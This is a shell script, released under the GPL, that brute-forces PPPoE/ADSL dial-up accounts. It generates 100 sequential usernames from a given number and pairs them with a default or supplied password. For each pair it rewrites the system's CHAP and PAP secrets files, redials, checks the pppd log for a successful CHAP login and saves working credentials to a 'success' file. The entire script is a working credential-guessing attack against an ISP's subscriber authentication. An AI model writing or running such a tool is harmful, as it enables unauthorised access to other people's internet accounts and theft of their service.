#!/bin/sh
#Copyright (C) Dong Pu <cocobearc@gmail.com>
#Copyright (C) WANG Cong <xiyou.wangcong@gmail.com>
#GPL v2 applies.

if (($#  <1)) ; then
        echo "Wrong usage!"
        echo "$0 Number [pass]"
        exit 1
fi
header=111000
tailer=0
median=$1
pass1=111111
pass2=$2
zero=0
UP=/sbin/ifup
DOWN=/sbin/ifdown
ETHDOWN="/sbin/ifconfig eth0 down"
ETHUP="/sbin/ifconfig eth0 up"
PPPNAME=cnc
CHAP=/etc/ppp/chap-secrets
PAP=/etc/ppp/pap-secrets
IFCFG=/etc/sysconfig/network-scripts/ifcfg-cnc
LOG=/var/log/ppp.bug
STOP=/sbin/adsl-stop
PPPD=pppd
while (($tailer <= 99)); do
        stailer=$tailer
        if (($tailer <= 9)); then
                stailer="$zero$tailer"
        fi
        user="$header$median$stailer"
        if [ -z $2 ];then
                pass=$pass1
        else
                pass=$pass2
        fi
        REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\""
        sed '$d' $IFCFG > $IFCFG.tmp
        echo "USER=$user" >> $IFCFG.tmp
        mv $IFCFG.tmp $IFCFG
        echo -n '' > $CHAP
        echo -e $REPLACE > $CHAP
        echo -n '' > $PAP
        echo -e $REPLACE > $PAP
        echo -n '' > $LOG
        $DOWN $PPPNAME
        $UP $PPPNAME >/dev/null 2>&1
        sleep 3
        grep 'CHAP authentication failed' $LOG
        state=$?
        grep 'CHAP authentication succeeded' $LOG
        ret=$?
        echo $state
        if (($state == 0));then
                echo "$user+$pass failed!"
        else
                if (($ret == 0));then
                        $ETHDOWN
                        echo "Success:$user---$pass" >> success
                        sleep 20
                        $ETHUP
                else
                        pppnum=$(ps -e |grep pppoe | wc -l)
                        echo $num
                        if (($pppnum >= 2));then
                                $DOWN $PPPNAME
                                $ETHDOWN
                                echo -e "Too many process!\n Waiting pppd pppoe down...\n"
                                sleep 25
                                $ETHUP
                        fi
                fi
        fi
        let "tailer+=1"
done
exit 0
